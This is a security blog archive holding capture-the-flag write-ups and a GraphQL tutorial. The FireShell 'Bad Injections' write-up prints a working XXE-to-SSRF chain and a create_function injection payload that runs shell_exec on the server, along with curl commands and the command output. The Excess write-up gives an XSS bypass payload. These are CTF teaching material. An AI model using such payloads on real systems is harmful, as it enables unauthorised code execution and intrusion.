Category Archives: Platicas y congresos

FireShell CTF 2019 – Bad Injections (WEB)

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

<div class='ui center aligned container'>
  <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/>
  <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="50t0"/>  

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:
And the result is:

function __autoload($class_name){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';


In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.
The Routes.php file is huge but there are two route functions that seems interesting
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){

  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    if($_SERVER['REMOTE_ADDR'] == '' || $_SERVER['REMOTE_ADDR'] == '::1'){
     echo ";(";

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
     //echo count($xml->channel->item);
     $data = [];
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     $html .= "</div>";
     echo $html;
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;


That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

$ url=''
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying we are going to do a request to and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

$order = id, null) && die(shell_exec('ls -la /')); ($aaa="

The original piece of code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

When I replace the $order variable with my payload the final code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=",$b->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=");')); 

Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

$ url=''
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2197  100  1892  100   305   6348   1023 --:--:-- --:--:-- --:--:--  7347
total 116
drwxr-xr-x   1 root root 4096 Dec 26 18:10 .
drwxr-xr-x   1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x   1 root root    0 Dec 25 23:47 .dockerenv
drwxr-xr-x   1 root root 4096 Dec 25 23:50 app
drwxr-xr-x   1 root root 4096 Dec  4 15:47 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
-rwxr-xr-x   1 root root 1122 Feb 15  2016
-rw-r--r--   1 root root   31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x   5 root root  360 Dec 25 23:47 dev
drwxr-xr-x   1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x   1 root root 4096 Feb 15  2016 lib
drwxr-xr-x   2 root root 4096 Jan 19  2016 lib64
drwxr-xr-x   2 root root 4096 Jan 19  2016 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jan 19  2016 opt
dr-xr-xr-x 331 root root    0 Dec 25 23:47 proc
drwx------   1 root root 4096 Dec 26 18:10 root
drwxr-xr-x   1 root root 4096 Feb 15  2016 run
-rwxr-xr-x   1 root root  549 Feb 15  2016
drwxr-xr-x   1 root root 4096 Jan 19  2016 sbin
drwxr-xr-x   2 root root 4096 Jan 19  2016 srv
-rwxr-xr-x   1 root root   67 Feb 15  2016
-rwxr-xr-x   1 root root   29 Feb 15  2016
dr-xr-xr-x  13 root root    0 Jan 26 19:06 sys
drwxrwxrwt   1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x   1 root root 4096 Feb 15  2016 usr
drwxr-xr-x   1 root root 4096 Feb 15  2016 var

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂

Security Fest #CTF – Excess write up (XSS)

Este año 2018, uno de mis principales propósitos fue tratar de participar en la mayor cantidad de CTFs posibles, son como pequeños acertijos que mantienen mi mente ágil en cuanto a la seguridad informática y siempre aprendo algo nuevo cada vez que los juego.

Existen muchos recursos en Internet pero uno de los mejores, y que he estado usando los últimos meses, es CTFtime. CTFtime es un portal que recopila información acerca de varios eventos Capture The Flag que ocurren alrededor del mundo, tanto eventos presenciales como online (puedes participar remotamente), ademas de eso es una gran fuente de aprendizaje ya que siempre puedes revisar las soluciones de los retos anteriores. Si desean ver los próximos eventos tienen una lista que pueden revisar en el siguiente link

Por mi parte estoy listo para participar en Viettel Mates CTF 2018 este fin de semana 🙂 y el 23 de junio en Google Capture The Flag 2018 (Quals)

Regresando a la idea principal de este articulo, el 31 de mayo participe en el Security Fest #CTF, no resolví tantos retos como me hubiera gustado pero si aprendi un par de cosas nuevas que les voy a compartir a continuación.

El CTF tenia tematica de The Matrix, kudos por eso!

Security Fest CTF Excess – Web Challenge

Excess fue uno de los primeros retos de la categoría web, en las instrucciones se nos daba un link a una pagina web y al entrar veíamos la siguiente pantalla.

Las instrucciones son bastante claras, tenemos que encontrar un XSS en el sitio y hacer que muestre un alert, después mandar la URL con nuestro payload y reclamar la bandera.

Vemos que la pagina tiene un parámetro llamado xss, inspeccionamos el código fuente del sitio web y vemos lo siguiente.

Observamos que el valor del parámetro xss es utilizado directamente por unas variables en Javascript y eso es bueno para nosotros, pues podemos inyectar código directamente sin preocuparnos por crear nuestras propias script tags.

Viendo el código anterior es claro que el sitio web es vulnerable y podemos mandar un payload como el siguiente para mostrar nuestro alert en Javascript.

En el parámetro xss enviamos:


Y el código se va a inyectar de la siguiente forma:

<div class="container">
  <script>var x ='hello';alert(1);//; var y = `hello';alert(1);//; var z = "hello';alert(1);//;</script>
  <div class="row main">
       <div class="form-header header">

Nuestro payload se inyecta 3 veces, pero no importa puesto que después del primer // todo el resto del código quedara comentado. En el sitio web vemos la siguiente alerta.

¿Qué?, ¿Cómo?, ¿Cuándo? xd nosotros inyectamos un alert no un prompt, inspeccionando el código fuente del sitio mas a detalle y observamos que hay un script que se esta llamando antes de que inyectemos nuestro código.

<script src="/static/no_alert_for_you.js"></script><section class="login-info">

Al ver su contenido nos damos cuenta de que es el responsable de nuestros dolores de cabeza.


        If there is no alert,
        	how can there be XSS?
            )            (
           /(   (\___/)  )\
          ( #)  \ ('')| ( #
           ||___c\  > '__||
           ||**** ),_/ **'|
     .__   |'* ___| |___*'|
      \_\  |' (    ~   ,)'|
       ((  |' /(.  '  .)\ |
        \\_|_/ <_ _____> \______________
         /   '-, \   / ,-'      ______  \
b'ger   /      (//   \\)     __/     /   \

window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));

Este pequeño código esta sobrescribiendo la función nativa alert del objeto Window en nuestro contexto actual.

Es claro lo que debemos hacer, de alguna forma tenemos que devolver a Window.alert la función nativa original, existen muchas formas de resolver este reto pero mi razonamiento fue el siguiente.

Después de investigar un buen rato encontré varios artículos que describen esta técnica (override de funciones nativas) para mitigar ataques de XSS, sin embargo esto no soluciona el problema debido a la misma naturaleza del lenguaje Javascript, a continuación muestro como creando un elemento iframe, que tiene una instancia nueva y sin modificar del objeto Window, es posible ejecutar las funciones nativas originales.

var iframe = document.createElement('iframe'); // creamos un nuevo iframe
iframe.src = ''; = 'none';
document.body.appendChild(iframe); // Es necesario agregarlo al documento para que su atributo contentWindow este definido
window.alert = iframe.contentWindow.alert; // Sobrescribimos la función alert de nuestro objeto Window actual con la función nativa original
alert(1); // Ejecutamos el alert original

Armamos nuestro payload y lo inyectamos en el parámetro xss.


Y veremos el alert original en la pantalla, enviamos la URL con nuestro payload y obtenemos la bandera de este reto.

Happy hacking 🙂

Solución del #CTF CPMX9 de Blog de Alevsk

Hola, como muchos saben, este blog esta registrado como comunidad tecnológica en Campus Party, cada año gente del estado de Michoacán nos organizamos para asistir al evento, jugar, divertirnos, aprender y sobre todo pasar un buen rato 🙂

Ser comunidad de CPMX tiene algunas ventajas por ejemplo obtener códigos de descuento y entradas gratuitas para rifar entre los miembros de la comunidad pero este año realice una dinámica diferente, hace mas o menos 1 semana anuncie en redes sociales (Facebook y Twitter) un pequeño reto CTF en donde poder ganar una entrada no fuera cuestión de suerte. Muchas gracias a todos los que participaron y felicidades a los ganadores.

A continuación dejo la solución de cada uno de los retos por si hay gente que se quedo con dudas 🙂

0x01 – or

A Dan Kaminsky le gusta ( ͡° ͜ ʖ ͡°)

Este reto es bastante sencillo si sabes un poco de cultura general de como funciona Internet., y Dan Kaminsky son claras referencias al sistema DNS.

En este tipo de retos es muy común que la información se encuentre escondida en el record TXT, pero también existen muchos otros tipos de DNS records. Vamos a utilizar la herramienta nslookup y con los siguientes comandos podemos listar los records TXT de cualquier dominio.

$ nslookup
> set q=TXT

La bandera de este reto es: ctf_flag{3550dd06-aec9-4841-96cb-dbfb093c6991}

0x02 – Cipher

Cipher es probablemente el reto mas complicado de este CTF, las instrucciones del reto nos muestran el siguiente texto cifrado.

h8s, s, l2e0 4o,h w8orwgx ochg0 h8s,n h8g0g s, r2 he0rsrm .owyx l2e hoyg h8g .4eg 5s44 _ h8g ,h20l grz,n l2e !oyg e5 sr l2e0 .gz orz .g4sg1g !8ohg1g0 l2e !orh h2 .g4sg1gx l2e hoyg h8g 0gz 5s44 _ l2e ,hol sr !2rzg04orz orz s ,82! l2e 82! zgg5 h8g 0o..sh_824g m2g,x h8g c4om s, whcjc4om{dzz9bk}v_pbdi_i}v3_op33_c3p39d.owvwpu

En la mayoría de los retos básicos de criptografía encontramos dos tipos de cifrados:

Podemos intentar resolver esto con alguna herramienta automática como Rot13 Online o Caesar Cipher pero no hay resultados. No queda otra cosa mas que empezar a hacer un analisis del texto y aplicar distintos ataques criptograficos 🙂

Utilizamos uno de mis lenguajes de programación favoritos, python, para comenzar a recolectar estadísticas interesantes del texto.

Comenzamos separando el texto cifrado por espacios y contando el numero de veces que se repiten las palabras

from collections import Counter
import re

encrypted = "h8s, s, l2e0 4o,h w8orwgx ochg0 h8s,n h8g0g s, r2 he0rsrm .owyx l2e hoyg h8g .4eg 5s44 _ h8g ,h20l grz,n l2e !oyg e5 sr l2e0 .gz orz .g4sg1g !8ohg1g0 l2e !orh h2 .g4sg1gx l2e hoyg h8g 0gz 5s44 _ l2e ,hol sr !2rzg04orz orz s ,82! l2e 82! zgg5 h8g 0o..sh_824g m2g,x h8g c4om s, whcjc4om{dzz9bk}v_pbdi_i}v3_op33_c3p39d.owvwpu"

words = encrypted.split()
word_counts = Counter(words)
	'l2e': 6,
	'h8g': 5,
	's,': 3,
	'5s44': 2,
	'orz': 2,
	'hoyg': 2,
	'_': 2,
	'l2e0': 2,
	'sr': 2,
	'zgg5': 1,
	'grz,n': 1,
	'!orh': 1,
	'whcjc4om{dzz9bk}v_pbdi_i}v3_op33_c3p39d.owvwpu': 1,
	'0o..sh_824g': 1,
	',h20l': 1,
	'!8ohg1g0': 1,
	',hol': 1,
	'.owyx': 1,
	'h8s,': 1,
	'4o,h': 1,
	'h8s,n': 1,
	'!2rzg04orz': 1,
	'.4eg': 1,
	'c4om': 1,
	',82!': 1,
	'.g4sg1g': 1,
	'e5': 1,
	'w8orwgx': 1,
	'0gz': 1,
	'r2': 1,
	'he0rsrm': 1,
	'.g4sg1gx': 1,
	'82!': 1,
	'h8g0g': 1,
	'h2': 1,
	'm2g,x': 1,
	's': 1,
	'!oyg': 1,
	'ochg0': 1,
	'.gz': 1

La palabra que se repite mas veces es l2e (6 veces), pero también vemos l2e0 (2 veces) que es una variación de la palabra anterior, algo similar ocurre con h8g y h8g0g y algunas otras más.

La complejidad de este reto disminuye notoriamente ya que sabemos lo que estamos buscando en el texto, la bandera 🙂 y sabemos cual es el formato que deben seguir las mismas.


En una cadena de texto lo suficientemente larga debemos encontrar un símbolo que se repita siguiendo el mismo patrón que el de la bandera si no estuviera encriptada, es decir:

* = (simbolo de guion)

(8 simbolos)*(4 simbolos)*(4 simbolos)*(4 simbolos)*(12 simbolos)

La palabra mas larga que arrojo nuestro análisis es whcjc4om{dzz9bk}v_pbdi_i}v3_op33_c3p39d.owvwpu, probamos “alineando” el formato de la bandera en esa palabra para ver si cumple con el patrón:


Tenemos una coincidencia 🙂 acomodamos el resto de la bandera y comenzamos a crear un diccionario con los caracteres a sustituir en el texto y podremos empezar a romper el cifrado (encontrar el alfabeto que fue usado para la sustitución)


Agregamos el diccionario a nuestro script y hacemos la sustitución.

encrypted = "h8s, s, l2e0 4o,h w8orwgx ochg0 h8s,n h8g0g s, r2 he0rsrm .owyx l2e hoyg h8g .4eg 5s44 _ h8g ,h20l grz,n l2e !oyg e5 sr l2e0 .gz orz .g4sg1g !8ohg1g0 l2e !orh h2 .g4sg1gx l2e hoyg h8g 0gz 5s44 _ l2e ,hol sr !2rzg04orz orz s ,82! l2e 82! zgg5 h8g 0o..sh_824g m2g,x h8g c4om s, whcjc4om{dzz9bk}v_pbdi_i}v3_op33_c3p39d.owvwpu"
decrypted = ""
replace = {
	'w': 'c',
	'h': 't',
	'c': 'f',
	'j': '_',
	'4': 'l',
	'o': 'a',
	'm': 'g',
	'_': '-',
	'u': '}'

for c in encrypted:
	if c in replace:
		decrypted += replace
		decrypted += c


Vemos que la palabra flag se encuentra en otras partes del texto y no solo en la bandera, lo que sugiere que el texto esta escrito en ingles

t8s, s, l2e0 la,t c8arcgx aftg0 t8s,n t8g0g s, r2 te0rsrg .acyx l2e tayg t8g .leg 5sll – t8g ,t20l grz,n l2e !ayg e5 sr l2e0 .gz arz .glsg1g !8atg1g0 l2e !art t2 .glsg1gx l2e tayg t8g 0gz 5sll – l2e ,tal sr !2rzg0larz arz s ,82! l2e 82! zgg5 t8g g2g,x t8g flag s, ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}

Todavía tenemos otras 2 palabras, l2e y h8g, que se repiten bastante en el texto, si encontramos cual es su equivalente nuestro texto sera todavía mas legible. Investigando un poco encontré un articulo bastante interesante The Most Common Three Letter Words (Las palabras mas comunes de 3 letras)

Hacia al final del texto podemos leer algo que dice:

t8g flag s, ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}

si t8g puede ser the (que se encuentra en la lista de palabras populares) y s, es is la frase final seria

the flag is ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}

Parece que nos vamos acercando, probamos agregando estas letras a nuestro diccionario.

replace = {
	'w': 'c',
	'h': 't',
	'c': 'f',
	'j': '_',
	'4': 'l',
	'o': 'a',
	'm': 'g',
	'_': '-',
	'u': '}',
	'8': 'h',
	'g': 'e',
	's': 'i',
	',': 's',

this is l2e0 last charcex afte0 thisn the0e is r2 te0rirg .acyx l2e taye the .lee 5ill – the st20l erzsn l2e !aye e5 ir l2e0 .ez arz .elie1e !hate1e0 l2e !art t2 .elie1ex l2e taye the 0ez 5ill – l2e stal ir !2rze0larz arz i sh2! l2e h2! zee5 the g2esx the flag is ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}

Mas palabras salen a la luz:

afte00 es r

l2e0 se vuelve l2er, por lo tanto en la frase this is l2er last charcex, l2er es remplazado por your y el texto tiene aun mas sentido 🙂 !!!

charce … r es n (chance)

this is your last chancex after thisn there is no turning

Tenemos suficiente texto legible para realizar una búsqueda en google y darnos cuenta que el texto es una frase famosa de la película The Matrix

Completamos el resto del diccionario con las letras que nos hacen falta.

Nota: en este punto de la solución me di cuenta que cometí un error al momento de diseñar el reto y no se puede avanzar mas, gracias a @unmanarc por reportar el problema

Por lo tanto la bandera de este reto es ctf_flag{ddd9bk}v-pbdi-i}v3-ap33-f3p39dbacvcp}

0x03 – A new security policy standard

Si encuentras una vulnerabilidad en deberías reportarla utilizando los canales adecuados 🙂

Tanto el nombre del reto como la descripción nos da una pista acerca de que debemos investigar sobre nuevos estándares en políticas de seguridad, algunas personas se confundieron en este reto pues creían que tenían que encontrar vulnerabilidades en esta pagina, pero la solución es mas sencilla que eso.

security.txt es un estándar propuesto (similar a robots.txt) para que los sitios web puedan anunciar sus políticas de seguridad y consiste en publicar un archivo de texto en el directorio .well-known donde comuniquemos información importante como por ejemplo la direccion de contacto en la que los hackers pueden reportar las vulnerabilidades encontradas de nuestro sitio web, en este caso

# If you would like to report a security issue
# you may report it to me on
# ctf_flag{1999251d-df25-4d4a-846b-d4267f471b23}
Contact: [email protected]

La bandera de este reto es: ctf_flag{1999251d-df25-4d4a-846b-d4267f471b23}

0x04 – Foogle

Neo: Why do my eyes hurt? Morpheus: You’ve never used them before.

Descargar imagen

Este reto involucra esteganografía y es muy fácil de resolver, descargamos la imagen que nos indican las instrucciones y comenzamos a realizar el análisis, lo mas sencillo y lo primero que intentamos es ver si la imagen contiene en sus bytes alguna cadena de caracteres que tenga sentido.

Podemos utilizar la herramienta hexdump para hacer esto.

$ hexdump -C foogle.png

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 04 34 00 00 02 60  08 06 00 00 00 75 21 33  |...4...`.....u!3|
00000020  a1 00 00 01 7c 69 43 43  50 49 43 43 20 50 72 6f  |....|iCCPICC Pro|
00000030  66 69 6c 65 00 00 28 91  63 60 60 2a 49 2c 28 c8  |file..(.c``*I,(.|
000be000  7b 3a e3 0d e3 7e e2 66  21 44 35 e4 e6 ce 49 93  |{:...~.f!D5...I.|
000be010  6e 35 05 78 c2 39 98 9c  ae db e4 fd 69 9f 8b 31  |n5.x.9......i..1|
000be020  94 4e ca e5 4d c1 c5 ba  13 c0 eb 99 ff 07 7b ee  |.N..M.........{.|
000be030  41 67 d0 72 4a 54 00 00  00 00 49 45 4e 44 ae 42  |Ag.rJT....IEND.B|
000be040  60 82 59 33 52 6d 58 32  5a 73 59 57 64 37 59 6a  |`.Y3RmX2ZsYWd7Yj|
000be050  4d 77 4f 57 55 77 4e 57  4d 74 5a 6a 49 79 4e 43  |MwOWUwNWMtZjIyNC|
000be060  30 30 4e 44 4d 33 4c 57  46 6a 5a 44 6b 74 59 57  |00NDM3LWFjZDktYW|
000be070  52 68 5a 54 6b 35 4e 6a  45 30 4d 6d 56 6b 66 51  |RhZTk5NjE0MmVkfQ|
000be080  3d 3d                                             |==|

También podemos utilizar el comando strings.

$ strings foogle.png

Al final del archivo hay una cadena de caracteres muy peculiar, parece que es un mensaje codificado en base64, tomamos el string y lo decodificamos con alguna herramienta como

La bandera de este reto es ctf_flag{b309e05c-f224-4437-acd9-adae996142ed}

0x05 – Information leak

Información critica ha sido leakeada en los archivos de este repositorio x.x

Como la descripción nos indica, tenemos que revisar los archivos del repositorio donde esta hospedado el CTF, y no solo eso, tambien tenemos que revisar el historial de commits, vemos que en uno de los commits un archivo llamado 0x05_secret.txt fue publicado en el repositorio.

La bandera de este reto es ctf_flag{163f0835-8fc0-4fd0-b96b-dcd724cbe200}

0x06 – We can fix it!

Otro participante trato de robar la bandera de este reto pero sin querer la daño, ¿Puedes repararla? Descargar imagen

Este reto nos presentaba un codigo QR “dañado” (los bordes de la imagen han sido recortados), por lo que si tratamos de leerlo nos dará un error

Pero nada que un poco de photoshop no pueda arreglar 🙂

La bandera de este reto es ctf_flag{d55bd4f6-bff1-45b4-836e-7df1839e7d70}

Espero se hayan divertido mucho y aprendido algo nuevo al participar en este reto.

Happy hacking 🙂

OWASP – Riviera Maya e introducción a Overthewire CTF

El 20 y 21 de abril de este año se llevo a cabo la segunda edición de OWASP – Riviera Maya en Cancún, evento de seguridad al cual tuve la fortuna de asistir y donde coincidí con varios amigos de la seguridad informática: @hkm, @calderpwn, @nitr0us, dex, @tresvecesdobleu, @NoxOner, @acorazada, @jjtibaquira son algunos de los que me vienen a la mente ahora mismo (una disculpa si me olvidé de alguno), en lo personal creo que esto es lo mejor de este tipo de eventos 🙂

El staff del evento ha publicado algunos videos de las charlas que podrán encontrar en el canal de youtube de OWASP Latam

Durante el evento tome el taller de web hacking impartido por Eduardo Vela (sirdarckcat), el formato era muy parecido a un CTF en donde ibas resolviendo cada uno de los niveles explotando vulnerabilidades web especificas (XSS, SQLi, LFI, etc). Este tipo de vulnerabilidades web han existido durante los últimos 20 años pero creo que la finalidad del taller era demostrar que siempre habra nuevas formas de seguir aprovechandolas.

Jugar CTFs me divierte mucho ya que siempre se aprende algo nuevo (en el pasado he publicados algunos como #CPMX6 CTF) y este no fue la excepción, al final logre completar todos los retos y Eduardo me dijo que fui el único que lo hizo 😳

Ahora que estoy dedicado el 99% del tiempo al desarrollo de software (ocasionalmente hago algún freelance que tiene que ver con Pentest o revisiones de código) lo mas cercano al hacking que hago son CTFs (justo ahora me estoy preparando para jugar el Google – Capture the flag 2018) y entonces pensé que hay muchísima gente interesada en este tipo de competencias de hacking pero no saben bien por donde empezar y decidí comenzar una nueva serie de tutoriales donde resolveremos un CTF paso a paso 🙂

Me di a la tarea de investigar varios de los CTFs que hay en Internet (básicos, intermedios, avanzados, imposibles, etc…) y creo que el mejor para principiantes se encuentra en OverTheWire, la idea es que resolveremos el CTF llamado Natas donde aprenderemos lo básico de web y mobile hacking y terminando esta serie (son 33 niveles) nos moveremos a algo un poco mas intermedio/avanzado donde tengamos que hacer binary exploitation.

Bueno, pues comenzamos….

Natas CTF

Este CTF, a diferencia de otros como los jeopardy que te dejan jugar los niveles en el orden que tu decidas, te forzá a resolver el nivel actual antes de pasar al siguiente, entonces debemos comenzar por Natas0

Username: natas0
Password: natas0

Vamos a la URL que nos indican las instrucciones, introducimos las credenciales que nos da el reto y veremos una pantalla como la siguiente:

Nos dice que el password se encuentre en esta misma pagina sin embargo no vemos nada que haga referencia a la contraseña.

Esta es la primera lección para los principiantes de los CTFs, lo primero que tenemos que hacer en la mayoría de los casos es ver el código fuente de las paginas.

La contraseña para natas1 es gtVrDuiDfck831PqWsLEZy5gyDz1clto, felicidades ahora podemos continuar con el nivel 1, tratare de ir publicando los siguientes artículos cada 2 o 3 días así que estén pendientes.

Happy hacking 🙂

Introducción a GraphQL, Queries y Mutations

Como algunos de ustedes sabrán llevo poco mas de 1 año trabajando con una startup (si, deje Oracle XD) cuyo stack esta conformado en su mayoría por tecnologías de Javascript (NodeJS, ReactJS, Redux, Apollo, GraphQL, React-native, etc). y en esta ocasión quiero compartir con ustedes el material de la platica que di en el GDLJS del mes de octubre en Guadalajara, se trata de una breve introducción a GraphQL y cual ha sido mi experiencia con esta tecnología.

¿Que es GraphQL?

Primero lo primero, GraphQL es un lenguaje de consultas para tu API creado por Facebook en 2012, es decir, es un intermediario comúnmente utilizado entre un cliente y algún orm de tu elección, es importante mencionar que GraphQL no se conecta directamente a tu base de datos, en lugar de eso ayuda a que el cliente defina el formato de la respuesta que desea obtener del servidor, mas adelante veremos algunos ejemplos.

¿Cual es la diferencia?

Ya existen bastantes frameworks para desarrollar apis ¿Por que quisiera usar GraphQL?

Bueno una de las principales diferencias con apis basadas en REST simple que tienen múltiples endpoints es que en tu api basada en GraphQL solo tendras uno.

Ademas de eso las apis comunes utilizan varios métodos HTTP (GET, POST, DELETE, PUT, OPTIONS, etc) según la operación que vayan a realizar, mientras que con GraphQL usaras solamente POST si así lo deseas, un endpoint para gobernarlos a todos 😉

Todo bien hasta aquí, pero no me haz dicho realmente cual es el beneficio de usar esta tecnología

Tranquilo pequeño saltamontes, consideremos el caso siguiente:

Del lado izquierdo tenemos un cliente que hace una petición GET a un endpoint de álbumes pasando un id para obtener sus assets, posteriormente por cada uno de esos assets solicita los comentarios (múltiples peticiones al servidor), adicionalmente los objetos JSON que reciba en las respuestas siempre tendrán los mismos atributos.

Del lado derecho vemos la petición POST equivalente para un endpoint basado en GraphQL, como podemos observar en el mismo payload de nuestra petición estamos indicando el formato de respuesta que queremos que el servidor nos regrese, atributos en los objetos, etc.

Habra quien diga que puede ingeniárselas para que la petición defina la respuesta del servidor, regresar atributos dinámicamente, etc. y le creo pero buena suerte manteniendo algo como esto 🙂

GET /albums/1/assets/comments/?,,comment.text

Este es precisamente el problema que GraphQL resuelve, GraphQL nos permite definir relaciones entre las entidades de nuestra aplicación e inyectar esos objetos relacionados en las respuestas cada vez que el cliente lo pida.

El siguiente ejemplo de código esta basado en Javascript utilizando expressJS, supongamos que el cliente necesita desplegar en su frontend un objeto como el siguiente:

Un objeto película con datos como su nombre, el año y la calificación de la critica, adicionalmente también queremos los datos de los actores involucrados y los comentarios de los visitantes que han visto esa pelicula.

Manos a la obra, vamos a iniciar un nuevo proyecto con NodeJS

$ npm init
$ npm install --save express express-graphql graphiql graphql

Adicionalmente me gusta definir algunos comandos e instalar algunas dependencias para tener soporte es6, aquí pueden ver como queda mi package.json al final.

La estructura del proyecto es mas o menos la siguiente (demo-server)

Los archivos y carpetas mas importantes son:

  • app.js es nuestro entry point
  • graphql es la carpeta donde guardaremos nuestros “objetos QL”
  • data es la carpeta donde tendremos algunos objetos de ejemplo que simulan registros de la base de datos

Vamos a comenzar con el objeto Movie (película), en la carpeta graphql creamos un nuevo archivo llamado movieQL.js

import {
} from 'graphql';

import actorQL from './actorQL';
import commentQL from './commentQL';

const movieQL = new GraphQLObjectType({
  name: 'movieQL',
  description: 'This is a movie QL object',
  fields: () => {
    return {
      name: {
        type: GraphQLString,
        resolve(movie) {
      score: {
        type: GraphQLFloat,
        resolve(movie) {
          return movie.score;
      year: {
        type: GraphQLInt,
        resolve(movie) {
          return movie.year;
      actors: {
        type: new GraphQLList(actorQL),
        resolve(movie) {
          return movie.actors;
      comments: {
        type: new GraphQLList(commentQL),
        resolve(movie) {
          return movie.comments;

export default movieQL;

